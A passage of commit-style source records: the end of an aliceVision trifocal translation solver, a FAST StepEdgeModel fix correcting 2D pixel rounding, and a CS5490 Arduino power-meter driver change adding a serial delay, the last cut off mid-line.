aliceVision\n\nnamespace aliceVision{\n\nusing namespace aliceVision::trifocal::kernel;\n\n\/\/\/ Solve the translations and the structure of a view-triplet that have known rotations\nstruct translations_Triplet_Solver {\n enum { MINIMUM_SAMPLES = 4 };\n enum { MAX_MODELS = 1 };\n\n \/\/\/ Solve the computation of the \"tensor\".\n static void Solve(\n const Mat &pt0, const Mat & pt1, const Mat & pt2,\n const std::vector<Mat3> & vec_KR, std::vector<TrifocalTensorModel> *P,\n const double ThresholdUpperBound)\n {\n \/\/Build the megaMatMatrix\n const int n_obs = pt0.cols();\n Mat4X megaMat(4, n_obs*3);\n {\n size_t cpt = 0;\n for (size_t i = 0; i < n_obs; ++i)\n {\n megaMat.col(cpt++) << pt0.col(i)(0), pt0.col(i)(1), (double)i, 0.0;\n megaMat.col(cpt++) << pt1.col(i)(0), pt1.col(i)(1), (double)i, 1.0;\n megaMat.col(cpt++) << pt2.col(i)(0), pt2.col(i)(1), (double)i, 2.0;\n }\n }\n \/\/-- Solve the LInfinity translation and structure from Rotation and points data.\n std::vector<double> vec_solution((3 + MINIMUM_SAMPLES)*3);\n\n using namespace aliceVision::lInfinityCV;\n\n#if ALICEVISION_IS_DEFINED(ALICEVISION_HAVE_MOSEK)\n MOSEKSolver LPsolver(static_cast<int>(vec_solution.size()));\n#else\n OSI_CISolverWrapper LPsolver(static_cast<int>(vec_solution.size()));\n#endif\n\n Translation_Structure_L1_ConstraintBuilder cstBuilder(vec_KR, megaMat);\n double gamma;\n if (BisectionLP<Translation_Structure_L1_ConstraintBuilder, LPConstraintsSparse>(\n LPsolver,\n cstBuilder,\n &vec_solution,\n ThresholdUpperBound,\n 0.0, 1e-8, 2, &gamma, false))\n {\n const std::vector<Vec3> vec_tis = {\n Vec3(vec_solution[0], vec_solution[1], vec_solution[2]),\n Vec3(vec_solution[3], vec_solution[4], vec_solution[5]),\n Vec3(vec_solution[6], vec_solution[7], vec_solution[8])};\n\n TrifocalTensorModel PTemp;\n PTemp.P1 = HStack(vec_KR[0], vec_tis[0]);\n PTemp.P2 = HStack(vec_KR[1], vec_tis[1]);\n PTemp.P3 = HStack(vec_KR[2], vec_tis[2]);\n\n P->push_back(PTemp);\n }\n }\n\n \/\/ Compute the residual of reprojections\n static double Error(\n const TrifocalTensorModel & Tensor,\n const Vec2 & pt0, const Vec2 & pt1, const Vec2 & pt2)\n {\n return TrifocalTensorModel::Error(Tensor, pt0, pt1, pt2);\n }\n};\n\n} \/\/ namespace aliceVision\n\n<|endoftext|>"} {"text":"<commit_before>#include \"StepEdgeModel.hpp\"\n#include \"FAST\/Data\/Image.hpp\"\n#include \"FAST\/Algorithms\/ModelBasedSegmentation\/Shape.hpp\"\n\nnamespace fast {\n\nStepEdgeModel::StepEdgeModel() {\n\tmLineLength = 0;\n\tmLineSampleSpacing = 0;\n}\n\ntypedef struct DetectedEdge {\n int edgeIndex;\n float uncertainty;\n} DetectedEdge;\n\ninline DetectedEdge findEdge(\n std::vector<float> intensityProfile) {\n \/\/ Pre calculate partial sum\n float * sum_k = new float[intensityProfile.size()]();\n float totalSum = 0.0f;\n for(int k = 0; k < intensityProfile.size(); ++k) {\n if(k == 0) {\n sum_k[k] = intensityProfile[0];\n }else{\n sum_k[k] = sum_k[k-1] + intensityProfile[k];\n }\n totalSum += intensityProfile[k];\n }\n\n float bestScore = std::numeric_limits<float>::max();\n int bestK = -1;\n float bestHeightDifference = 0;\n for(int k = 0; k < intensityProfile.size()-1; ++k) {\n float score = 0.0f;\n if(intensityProfile[k] < 20)\n continue;\n for(int t = 0; t <= k; ++t) {\n score += fabs((1.0f\/(k+1))*sum_k[k] - intensityProfile[t]);\n }\n for(int t = k+1; t < intensityProfile.size(); ++t) {\n score += fabs((1.0f\/(intensityProfile.size()-k))*(totalSum-sum_k[k]) - intensityProfile[t]);\n }\n if(score < bestScore) {\n bestScore = score;\n bestK = k;\n bestHeightDifference = (((1.0\/(k+1))*sum_k[bestK] - (1.0f\/(intensityProfile.size()-k))*(totalSum-sum_k[bestK])));\n }\n }\n delete[] sum_k;\n\n DetectedEdge edge;\n\n\n \/\/ Should be dark inside and bright outside\n\n if(bestHeightDifference > 0) {\n bestK = -1;\n\n }\n\n edge.edgeIndex = bestK;\n edge.uncertainty = 1.0f \/ fabs(bestHeightDifference);\n\n return edge;\n}\n\ninline bool isInBounds(Image::pointer image, const Vector4f& position) {\n return position(0) >= 0 && position(1) >= 0 && position(2) >= 0 &&\n position(0) < image->getWidth() && position(1) < image->getHeight() && position(2) < image->getDepth();\n}\n\ninline float getValue(void* pixelPointer, Image::pointer image, const Vector4f& position) {\n\n uint index = (int)position(0)+(int)position(1)*image->getWidth()+(int)position(2)*image->getWidth()*image->getHeight();\n float value;\n switch(image->getDataType()) {\n \/\/ This macro creates a case statement for each data type and sets FAST_TYPE to the correct C++ data type\n fastSwitchTypeMacro(value = ((FAST_TYPE*)pixelPointer)[index]);\n }\n return value;\n}\n\n\nstd::vector<Measurement> StepEdgeModel::getMeasurements(SharedPointer<Image> image, SharedPointer<Shape> shape) {\n\tif(mLineLength == 0 || mLineSampleSpacing == 0)\n\t\tthrow Exception(\"Line length and sample spacing must be given to the StepEdgeModel\");\n\n\tstd::vector<Measurement> measurements;\n\tMesh::pointer predictedMesh = shape->getMesh();\n\tMeshAccess::pointer predictedMeshAccess = predictedMesh->getMeshAccess(ACCESS_READ);\n\tstd::vector<MeshVertex> points = predictedMeshAccess->getVertices();\n\n\tImageAccess::pointer access = image->getImageAccess(ACCESS_READ);\n\n\t\/\/ For each point on the shape do a line search in the direction of the normal\n\t\/\/ Return set of displacements and uncertainties\n\tif(image->getDimensions() == 3) {\n\t\tAffineTransformation::pointer transformMatrix = SceneGraph::getAffineTransformationFromData(image);\n\t\ttransformMatrix->scale(image->getSpacing());\n\t\tMatrix4f inverseTransformMatrix = transformMatrix->matrix().inverse();\n\n\t\t\/\/ Get model scene graph transform\n\t\tAffineTransformation::pointer modelTransformation = SceneGraph::getAffineTransformationFromData(shape->getMesh());\n\t\tMatrixXf modelTransformMatrix = modelTransformation->affine();\n\n\t\t\/\/ Do edge detection for each vertex\n\t\tint counter = 0;\n\t\tfor(int i = 0; i < points.size(); ++i) {\n\t\t\tstd::vector<float> intensityProfile;\n\t\t\tunsigned int startPos = 0;\n\t\t\tbool startFound = false;\n\t\t\tfor(float d = -mLineLength\/2; d < mLineLength\/2; d += mLineSampleSpacing) {\n\t\t\t\tVector3f position = points[i].getPosition() + points[i].getNormal()*d;\n\t\t\t\t\/\/ Apply model transform\n\t\t\t\t\/\/ TODO the line search normal*d should propably be applied after this transform, so that we know that is correct units?\n\t\t\t\tposition = modelTransformMatrix*position.homogeneous();\n\t\t\t\tconst Vector4f longPosition(position(0), position(1), position(2), 1);\n\t\t\t\t\/\/ Apply image inverse transform to get image voxel position\n\t\t\t\tconst Vector4f positionInt = inverseTransformMatrix*longPosition;\n\t\t\t\ttry {\n\t\t\t\t\tconst float value = access->getScalar(positionInt.cast<int>());\n\t\t\t\t\tif(value > 0) {\n\t\t\t\t\t\tintensityProfile.push_back(value);\n\t\t\t\t\t\tstartFound = true;\n\t\t\t\t\t} else if(!startFound) {\n\t\t\t\t\t\tstartPos++;\n\t\t\t\t\t}\n\t\t\t\t} catch(Exception &e) {\n\t\t\t\t\tif(!startFound) {\n\t\t\t\t\t\tstartPos++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tMeasurement m;\n\t\t\tm.uncertainty = 1;\n\t\t\tm.displacement = 0;\n\t\t\tif(startFound){\n\t\t\t\tDetectedEdge edge = findEdge(intensityProfile);\n\t\t\t\tif(edge.edgeIndex != -1) {\n\t\t\t\t\tfloat d = -mLineLength\/2.0f + (startPos + edge.edgeIndex)*mLineSampleSpacing;\n\t\t\t\t\tconst Vector3f position = points[i].getPosition() + points[i].getNormal()*d;\n\t\t\t\t\tm.uncertainty = edge.uncertainty;\n\t\t\t\t\tconst Vector3f normal = points[i].getNormal();\n\t\t\t\t\tm.displacement = normal.dot(position-points[i].getPosition());\n\t\t\t\t\tcounter++;\n\t\t\t\t}\n\t\t\t}\n\t\t\tmeasurements.push_back(m);\n\t\t}\n\t} else {\n\t\tVector3f spacing = image->getSpacing();\n\t\t\/\/ For 2D images\n\t\t\/\/ For 2D, we probably want to ignore scene graph, and only use spacing.\n\t\t\/\/ Do edge detection for each vertex\n\t\tint counter = 0;\n\t\tfor(int i = 0; i < points.size(); ++i) {\n\t\t\tstd::vector<float> intensityProfile;\n\t\t\tunsigned int startPos = 0;\n\t\t\tbool startFound = false;\n\t\t\tfor(float d = -mLineLength\/2; d < mLineLength\/2; d += mLineSampleSpacing) {\n\t\t\t\tVector2f position = points[i].getPosition() + points[i].getNormal()*d;\n\t\t\t\tconst Vector2i pixelPosition(round(position.x() \/ spacing.x()), round(position.y()) \/ spacing.y());\n\t\t\t\ttry {\n\t\t\t\t\tconst float value = access->getScalar(pixelPosition);\n\t\t\t\t\tif(value > 0) {\n\t\t\t\t\t\tintensityProfile.push_back(value);\n\t\t\t\t\t\tstartFound = true;\n\t\t\t\t\t} else if(!startFound) {\n\t\t\t\t\t\tstartPos++;\n\t\t\t\t\t}\n\t\t\t\t} catch(Exception &e) {\n\t\t\t\t\tif(!startFound) {\n\t\t\t\t\t\tstartPos++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tMeasurement m;\n\t\t\tm.uncertainty = 1;\n\t\t\tm.displacement = 0;\n\t\t\tif(startFound){\n\t\t\t\tDetectedEdge edge = findEdge(intensityProfile);\n\t\t\t\tif(edge.edgeIndex != -1) {\n\t\t\t\t\tfloat d = -mLineLength\/2.0f + (startPos + edge.edgeIndex)*mLineSampleSpacing;\n\t\t\t\t\tconst Vector2f position = points[i].getPosition() + points[i].getNormal()*d;\n\t\t\t\t\tm.uncertainty = edge.uncertainty;\n\t\t\t\t\tconst Vector2f normal = points[i].getNormal();\n\t\t\t\t\tm.displacement = normal.dot(position-points[i].getPosition());\n\t\t\t\t\tcounter++;\n\t\t\t\t}\n\t\t\t}\n\t\t\tmeasurements.push_back(m);\n\t\t}\n\t}\n\n\treturn measurements;\n}\n\nvoid StepEdgeModel::setLineLength(float length) {\n\tif(length <= 0)\n\t\tthrow Exception(\"Length must be > 0\");\n\tmLineLength = length;\n}\n\nvoid StepEdgeModel::setLineSampleSpacing(float spacing) {\n\tif(spacing <= 0)\n\t\tthrow Exception(\"Sample spacing must be > 0\");\n\tmLineSampleSpacing = spacing;\n}\n\n}\n<commit_msg>fixed a bug in 2D step edge model<commit_after>#include \"StepEdgeModel.hpp\"\n#include \"FAST\/Data\/Image.hpp\"\n#include \"FAST\/Algorithms\/ModelBasedSegmentation\/Shape.hpp\"\n\nnamespace fast {\n\nStepEdgeModel::StepEdgeModel() {\n\tmLineLength = 0;\n\tmLineSampleSpacing = 0;\n}\n\ntypedef struct DetectedEdge {\n int edgeIndex;\n float uncertainty;\n} DetectedEdge;\n\ninline DetectedEdge findEdge(\n std::vector<float> intensityProfile) {\n \/\/ Pre calculate partial sum\n float * sum_k = new float[intensityProfile.size()]();\n float totalSum = 0.0f;\n for(int k = 0; k < intensityProfile.size(); ++k) {\n if(k == 0) {\n sum_k[k] = intensityProfile[0];\n }else{\n sum_k[k] = sum_k[k-1] + intensityProfile[k];\n }\n totalSum += intensityProfile[k];\n }\n\n float bestScore = std::numeric_limits<float>::max();\n int bestK = -1;\n float bestHeightDifference = 0;\n for(int k = 0; k < intensityProfile.size()-1; ++k) {\n float score = 0.0f;\n if(intensityProfile[k] < 20)\n continue;\n for(int t = 0; t <= k; ++t) {\n score += fabs((1.0f\/(k+1))*sum_k[k] - intensityProfile[t]);\n }\n for(int t = k+1; t < intensityProfile.size(); ++t) {\n score += fabs((1.0f\/(intensityProfile.size()-k))*(totalSum-sum_k[k]) - intensityProfile[t]);\n }\n if(score < bestScore) {\n bestScore = score;\n bestK = k;\n bestHeightDifference = (((1.0\/(k+1))*sum_k[bestK] - (1.0f\/(intensityProfile.size()-k))*(totalSum-sum_k[bestK])));\n }\n }\n delete[] sum_k;\n\n DetectedEdge edge;\n\n\n \/\/ Should be dark inside and bright outside\n\n if(bestHeightDifference > 0) {\n bestK = -1;\n\n }\n\n edge.edgeIndex = bestK;\n edge.uncertainty = 1.0f \/ fabs(bestHeightDifference);\n\n return edge;\n}\n\ninline bool isInBounds(Image::pointer image, const Vector4f& position) {\n return position(0) >= 0 && position(1) >= 0 && position(2) >= 0 &&\n position(0) < image->getWidth() && position(1) < image->getHeight() && position(2) < image->getDepth();\n}\n\ninline float getValue(void* pixelPointer, Image::pointer image, const Vector4f& position) {\n\n uint index = (int)position(0)+(int)position(1)*image->getWidth()+(int)position(2)*image->getWidth()*image->getHeight();\n float value;\n switch(image->getDataType()) {\n \/\/ This macro creates a case statement for each data type and sets FAST_TYPE to the correct C++ data type\n fastSwitchTypeMacro(value = ((FAST_TYPE*)pixelPointer)[index]);\n }\n return value;\n}\n\n\nstd::vector<Measurement> StepEdgeModel::getMeasurements(SharedPointer<Image> image, SharedPointer<Shape> shape) {\n\tif(mLineLength == 0 || mLineSampleSpacing == 0)\n\t\tthrow Exception(\"Line length and sample spacing must be given to the StepEdgeModel\");\n\n\tstd::vector<Measurement> measurements;\n\tMesh::pointer predictedMesh = shape->getMesh();\n\tMeshAccess::pointer predictedMeshAccess = predictedMesh->getMeshAccess(ACCESS_READ);\n\tstd::vector<MeshVertex> points = predictedMeshAccess->getVertices();\n\n\tImageAccess::pointer access = image->getImageAccess(ACCESS_READ);\n\n\t\/\/ For each point on the shape do a line search in the direction of the normal\n\t\/\/ Return set of displacements and uncertainties\n\tif(image->getDimensions() == 3) {\n\t\tAffineTransformation::pointer transformMatrix = SceneGraph::getAffineTransformationFromData(image);\n\t\ttransformMatrix->scale(image->getSpacing());\n\t\tMatrix4f inverseTransformMatrix = transformMatrix->matrix().inverse();\n\n\t\t\/\/ Get model scene graph transform\n\t\tAffineTransformation::pointer modelTransformation = SceneGraph::getAffineTransformationFromData(shape->getMesh());\n\t\tMatrixXf modelTransformMatrix = modelTransformation->affine();\n\n\t\t\/\/ Do edge detection for each vertex\n\t\tint counter = 0;\n\t\tfor(int i = 0; i < points.size(); ++i) {\n\t\t\tstd::vector<float> intensityProfile;\n\t\t\tunsigned int startPos = 0;\n\t\t\tbool startFound = false;\n\t\t\tfor(float d = -mLineLength\/2; d < mLineLength\/2; d += mLineSampleSpacing) {\n\t\t\t\tVector3f position = points[i].getPosition() + points[i].getNormal()*d;\n\t\t\t\t\/\/ Apply model transform\n\t\t\t\t\/\/ TODO the line search normal*d should propably be applied after this transform, so that we know that is correct units?\n\t\t\t\tposition = modelTransformMatrix*position.homogeneous();\n\t\t\t\tconst Vector4f longPosition(position(0), position(1), position(2), 1);\n\t\t\t\t\/\/ Apply image inverse transform to get image voxel position\n\t\t\t\tconst Vector4f positionInt = inverseTransformMatrix*longPosition;\n\t\t\t\ttry {\n\t\t\t\t\tconst float value = access->getScalar(positionInt.cast<int>());\n\t\t\t\t\tif(value > 0) {\n\t\t\t\t\t\tintensityProfile.push_back(value);\n\t\t\t\t\t\tstartFound = true;\n\t\t\t\t\t} else if(!startFound) {\n\t\t\t\t\t\tstartPos++;\n\t\t\t\t\t}\n\t\t\t\t} catch(Exception &e) {\n\t\t\t\t\tif(!startFound) {\n\t\t\t\t\t\tstartPos++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tMeasurement m;\n\t\t\tm.uncertainty = 1;\n\t\t\tm.displacement = 0;\n\t\t\tif(startFound){\n\t\t\t\tDetectedEdge edge = findEdge(intensityProfile);\n\t\t\t\tif(edge.edgeIndex != -1) {\n\t\t\t\t\tfloat d = -mLineLength\/2.0f + (startPos + edge.edgeIndex)*mLineSampleSpacing;\n\t\t\t\t\tconst Vector3f position = points[i].getPosition() + points[i].getNormal()*d;\n\t\t\t\t\tm.uncertainty = edge.uncertainty;\n\t\t\t\t\tconst Vector3f normal = points[i].getNormal();\n\t\t\t\t\tm.displacement = normal.dot(position-points[i].getPosition());\n\t\t\t\t\tcounter++;\n\t\t\t\t}\n\t\t\t}\n\t\t\tmeasurements.push_back(m);\n\t\t}\n\t} else {\n\t\tVector3f spacing = image->getSpacing();\n\t\t\/\/ For 2D images\n\t\t\/\/ For 2D, we probably want to ignore scene graph, and only use spacing.\n\t\t\/\/ Do edge detection for each vertex\n\t\tint counter = 0;\n\t\tfor(int i = 0; i < points.size(); ++i) {\n\t\t\tstd::vector<float> intensityProfile;\n\t\t\tunsigned int startPos = 0;\n\t\t\tbool startFound = false;\n\t\t\tfor(float d = -mLineLength\/2; d < mLineLength\/2; d += mLineSampleSpacing) {\n\t\t\t\tVector2f position = points[i].getPosition() + points[i].getNormal()*d;\n\t\t\t\tconst Vector2i pixelPosition(round(position.x() \/ spacing.x()), round(position.y() \/ spacing.y()));\n\t\t\t\ttry {\n\t\t\t\t\tconst float value = access->getScalar(pixelPosition);\n\t\t\t\t\tif(value > 0) {\n\t\t\t\t\t\tintensityProfile.push_back(value);\n\t\t\t\t\t\tstartFound = true;\n\t\t\t\t\t} else if(!startFound) {\n\t\t\t\t\t\tstartPos++;\n\t\t\t\t\t}\n\t\t\t\t} catch(Exception &e) {\n\t\t\t\t\tif(!startFound) {\n\t\t\t\t\t\tstartPos++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tMeasurement m;\n\t\t\tm.uncertainty = 1;\n\t\t\tm.displacement = 0;\n\t\t\tif(startFound){\n\t\t\t\tDetectedEdge edge = findEdge(intensityProfile);\n\t\t\t\tif(edge.edgeIndex != -1) {\n\t\t\t\t\tfloat d = -mLineLength\/2.0f + (startPos + edge.edgeIndex)*mLineSampleSpacing;\n\t\t\t\t\tconst Vector2f position = points[i].getPosition() + points[i].getNormal()*d;\n\t\t\t\t\tm.uncertainty = edge.uncertainty;\n\t\t\t\t\tconst Vector2f normal = points[i].getNormal();\n\t\t\t\t\tm.displacement = normal.dot(position-points[i].getPosition());\n\t\t\t\t\tcounter++;\n\t\t\t\t}\n\t\t\t}\n\t\t\tmeasurements.push_back(m);\n\t\t}\n\t}\n\n\treturn measurements;\n}\n\nvoid StepEdgeModel::setLineLength(float length) {\n\tif(length <= 0)\n\t\tthrow Exception(\"Length must be > 0\");\n\tmLineLength = length;\n}\n\nvoid StepEdgeModel::setLineSampleSpacing(float spacing) {\n\tif(spacing <= 0)\n\t\tthrow Exception(\"Sample spacing must be > 0\");\n\tmLineSampleSpacing = spacing;\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/******************************************\n\n\tAuthor: Tiago Britto Lobão\n\ttiago.blobao@gmail.com\n*\/\n\n\n\/*\n\tPurpose: Control an integrated circuit\n\tCirrus Logic - CS5490\n\n\tUsed to measure electrical quantities\n\n\tMIT License\n\n******************************************\/\n\n\n#include \"CS5490.h\"\n\n\n\n\/******* Init CS5490 *******\/\n\n\/\/For Arduino & ESP8622\n#if !(defined ARDUINO_NodeMCU_32S ) && !defined(__AVR_ATmega1280__) && !defined(__AVR_ATmega2560__) && !defined(ARDUINO_Node32s)\n\tCS5490::CS5490(float mclk, int rx, int tx){\n\t\tthis->MCLK = mclk;\n\t\tthis->cSerial = new SoftwareSerial(rx,tx);\n\t}\n\/\/For ESP32 AND MEGA\n#else\n\tCS5490::CS5490(float mclk){\n\t\tthis->MCLK = mclk;\n\t\tthis->cSerial = &Serial2;\n\t}\n#endif\n\nvoid CS5490::begin(int baudRate){\n\tcSerial->begin(baudRate);\n}\n\n\/**************************************************************\/\n\/* PRIVATE METHODS *\/\n\/**************************************************************\/\n\n\n\/******* Write a register by the serial communication *******\/\n\/* data bytes pass by data variable from this class *\/\n\nvoid CS5490::write(int page, int address, long value){\n\n\tuint8_t checksum = 0;\n\tfor(int i=0; i<3; i++)\n\t\tchecksum += 0xFF - checksum;\n\n\t\/\/Select page and address\n\tuint8_t buffer = (pageByte | (uint8_t)page);\n\tcSerial->write(buffer);\n\tbuffer = (writeByte | (uint8_t)address);\n\tcSerial->write(buffer);\n\n\t\/\/Send information\n\tfor(int i=0; i<3 ; i++){\n\t\tdata[i] = value & 0x000000FF;\n\t\tcSerial->write(this->data[i]);\n\t\tvalue >>= 8;\n\t}\n\t\/\/Calculate and send checksum\n\tbuffer = 0xFF - data[0] - data[1] - data[2];\n\tcSerial->write(buffer);\n}\n\n\/******* Read a register by the serial communication *******\/\n\/* data bytes pass by data variable from this class *\/\n\nvoid CS5490::read(int page, int address){\n\n\tcSerial->flush();\n\n\tuint8_t buffer = (pageByte | (uint8_t)page);\n\tcSerial->write(buffer);\n\tbuffer = (readByte | (uint8_t)address);\n\tcSerial->write(buffer);\n\n\t\/\/Wait for 3 bytes to arrive\n\twhile(cSerial->available() < 3);\n\tfor(int i=0; i<3; i++){\n\t\tdata[i] = cSerial->read();\n\t}\n}\n\n\/******* Give an instruction by the serial communication *******\/\n\nvoid CS5490::instruct(int value){\n\n\tcSerial->flush();\n\n\tuint8_t buffer = (instructionByte | (uint8_t)value);\n\tcSerial->write(buffer);\n}\n\n\n\/*\n Function: toDouble\n Transforms a 24 bit number to a double number for easy processing data\n\n Param:\n data[] => Array with size 3. Each uint8_t is an 8 byte number received from CS5490\n LSBpow => Expoent specified from datasheet of the less significant bit\n MSBoption => Information of most significant bit case. It can be only three values:\n MSBnull (1) The MSB is a Don't Care bit\n MSBsigned (2) the MSB is a negative value, requiring a 2 complement conversion\n MSBunsigned (3) The MSB is a positive value, the default case.\n\n*\/\ndouble CS5490::toDouble(int LSBpow, int MSBoption){\n\n\tuint32_t buffer = 0;\n\tdouble output = 0.0;\n\tbool MSB;\n\n\t\/\/Concat bytes in a 32 bit word\n\tbuffer += this->data[0];\n\tbuffer += this->data[1] << 8;\n\tbuffer += this->data[2] << 16;\n\n switch(MSBoption){\n\n case MSBnull:\n this->data[2] &= ~(1 << 7); \/\/Clear MSB\n buffer += this->data[2] << 16;\n output = (double)buffer;\n output \/= pow(2,LSBpow);\n break;\n\n case MSBsigned:\n MSB = data[2] & 0x80;\n \t\tif(MSB){ \/\/- (2 complement conversion)\n \t\t\tbuffer = ~buffer;\n \t\t\t\/\/Clearing the first 8 bits\n \t\t\tfor(int i=24; i<32; i++)\n \t\t\t buffer &= ~(1 << i);\n \t\t\toutput = (double)buffer + 1.0;\n \t\t\toutput \/= -pow(2,LSBpow);\n \t\t}\n \t\telse{ \/\/+\n \t\t output = (double)buffer;\n \t\t\toutput \/= (pow(2,LSBpow)-1.0);\n \t\t}\n break;\n\n default:\n case MSBunsigned:\n output = (double)buffer;\n \t\toutput \/= pow(2,LSBpow);\n break;\n\n }\n\n\treturn output;\n}\n\n\n\/**************************************************************\/\n\/* PUBLIC METHODS - Instructions *\/\n\/**************************************************************\/\nvoid CS5490::reset(){\n\tthis->instruct(1);\n}\n\nvoid CS5490::standby(){\n\tthis->instruct(2);\n}\n\nvoid CS5490::wakeUp(){\n\tthis->instruct(3);\n}\n\nvoid CS5490::singConv(){\n\tthis->instruct(20);\n}\n\nvoid CS5490::contConv(){\n\tthis->instruct(21);\n}\n\nvoid CS5490::haltConv(){\n\tthis->instruct(24);\n}\n\n\n\n\n\/**************************************************************\/\n\/* PUBLIC METHODS - Calibration and Configuration *\/\n\/**************************************************************\/\n\n\/* SET *\/\nvoid CS5490::setBaudRate(long value){\n\n\t\/\/Calculate the correct binary value\n\tuint32_t hexBR = ceil(value*0.5242880\/MCLK);\n\tif (hexBR > 65535) hexBR = 65535;\n\thexBR += 0x020000;\n\n\tthis->write(0x80,0x07,hexBR);\n\tdelay(100); \/\/To avoid bugs from ESP32\n\n\t\/\/Reset Serial communication from controller\n\tcSerial->end();\n\tcSerial->begin(value);\n\treturn;\n}\n\n\/* GET *\/\nint CS5490::getGainI(){\n\t\/\/Page 16, Address 33\n\tthis->read(16,33);\n\treturn this->toDouble(22,MSBunsigned);\n}\n\nlong CS5490::getBaudRate(){\n\tthis->read(0,7);\n\tuint32_t buffer = this->data[0];\n\tbuffer += this->data[1] << 8;\n\tbuffer += this->data[2] << 16;\n\tbuffer -= 0x020000;\n\treturn ( (buffer\/0.5242880)*MCLK );\n}\n\n\/**************************************************************\/\n\/* PUBLIC METHODS - Measurements *\/\n\/**************************************************************\/\n\ndouble CS5490::getPeakV(){\n\t\/\/Page 0, Address 36\n\tthis->read(0,36);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getPeakI(){\n\t\/\/Page 0, Address 37\n\tthis->read(0,37);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getInstI(){\n\t\/\/Page 16, Address 2\n\tthis->read(16,2);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getInstV(){\n\t\/\/Page 16, Address 3\n\tthis->read(16,3);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getInstP(){\n\t\/\/Page 16, Address 4\n\tthis->read(16,4);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getRmsI(){\n\t\/\/Page 16, Address 6\n\tthis->read(16,6);\n\treturn this->toDouble(23, MSBunsigned);\n}\n\ndouble CS5490::getRmsV(){\n\t\/\/Page 16, Address 7\n\tthis->read(16,7);\n\treturn this->toDouble(23, MSBunsigned);\n}\n\ndouble CS5490::getAvgP(){\n\t\/\/Page 16, Address 5\n\tthis->read(16,5);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getAvgQ(){\n\t\/\/Page 16, Address 14\n\tthis->read(16,14);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getAvgS(){\n\t\/\/Page 16, Address 20\n\tthis->read(16,20);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getInstQ(){\n\t\/\/Page 16, Address 15\n\tthis->read(16,15);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getPF(){\n\t\/\/Page 16, Address 21\n\tthis->read(16,21);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getTotalP(){\n\t\/\/Page 16, Address 29\n\tthis->read(16,29);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getTotalS(){\n\t\/\/Page 16, Address 30\n\tthis->read(16,30);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getTotalQ(){\n\t\/\/Page 16, Address 31\n\tthis->read(16,31);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getFreq(){\n\t\/\/Page 16, Address 49\n\tthis->read(16,49);\n\treturn this->toDouble(23, MSBsigned);\n}\n\ndouble CS5490::getTime(){\n\t\/\/Page 16, Address 49\n\tthis->read(16,61);\n\treturn this->toDouble(0, MSBunsigned);\n}\n\n\/**************************************************************\/\n\/* PUBLIC METHODS - Read Register *\/\n\/**************************************************************\/\n\nlong CS5490::readReg(int page, int address){\n\tlong value = 0;\n\tthis->read(page, address);\n\tfor(int i=0; i<3; i++){\n\t\tvalue += data[2-i];\n\t\tvalue <<= 8;\n\t}\n\treturn value;\n}\n<commit_msg>Fix Arduino UNO bug<commit_after>\/******************************************\n\n\tAuthor: Tiago Britto Lobão\n\ttiago.blobao@gmail.com\n*\/\n\n\n\/*\n\tPurpose: Control an integrated circuit\n\tCirrus Logic - CS5490\n\n\tUsed to measure electrical quantities\n\n\tMIT License\n\n******************************************\/\n\n\n#include \"CS5490.h\"\n\n\n\n\/******* Init CS5490 *******\/\n\n\/\/For Arduino & ESP8622\n#if !(defined ARDUINO_NodeMCU_32S ) && !defined(__AVR_ATmega1280__) && !defined(__AVR_ATmega2560__) && !defined(ARDUINO_Node32s)\n\tCS5490::CS5490(float mclk, int rx, int tx){\n\t\tthis->MCLK = mclk;\n\t\tthis->cSerial = new SoftwareSerial(rx,tx);\n\t}\n\/\/For ESP32 AND MEGA\n#else\n\tCS5490::CS5490(float mclk){\n\t\tthis->MCLK = mclk;\n\t\tthis->cSerial = &Serial2;\n\t}\n#endif\n\nvoid CS5490::begin(int baudRate){\n\tcSerial->begin(baudRate);\n\tdelay(10); \/\/Avoid Bugs on Arduino UNO\n}\n\n\/**************************************************************\/\n\/* PRIVATE METHODS *\/\n\/**************************************************************\/\n\n\n\/******* Write a register by the serial communication *******\/\n\/* data bytes pass by data variable from this class *\/\n\nvoid CS5490::write(int page, int address, long value){\n\n\tuint8_t checksum = 0;\n\tfor(int i=0; i<3; i++)\n\t\tchecksum += 0xFF - checksum;\n\n\t\/\/Select page and address\n\tuint8_t buffer = (pageByte | (uint8_t)page);\n\tcSerial->write(buffer);\n\tbuffer = (writeByte | (uint8_t)address);\n\tcSerial->write(buffer);\n\n\t\/\/Send information\n\tfor(int i=0; i<3 ; i++){\n\t\tdata[i] = value & 0x000000FF;\n\t\tcSerial->write(this->data[i]);\n\t\tvalue >>= 8;\n\t}\n\t\/\/Calculate and send checksum\n\tbuffer = 0xFF - data[0] - data[1] - data[2];\n\tcSerial->write(buffer);\n}\n\n\/******* Read a register by the serial communication *******\/\n\/* data bytes pass by data variable from this class *\/\n\nvoid CS5490::read(int page, int address){\n\n\tcSerial->flush();\n\n\tuint8_t buffer = (pageByte | (uint8_t)page);\n\tcSerial->write(buffer);\n\tbuffer = (readByte | (uint8_t)address);\n\tcSerial->write(buffer);\n\n\t\/\/Wait for 3 bytes to arrive\n\twhile(cSerial->available() < 3);\n\tfor(int i=0; i<3; i++){\n\t\tdata[i] = cSerial->read();\n\t}\n}\n\n\/******* Give an instruction by the serial communication *******\/\n\nvoid CS5490::instruct(int value){\n\n\tcSerial->flush();\n\n\tuint8_t buffer = (instructionByte | 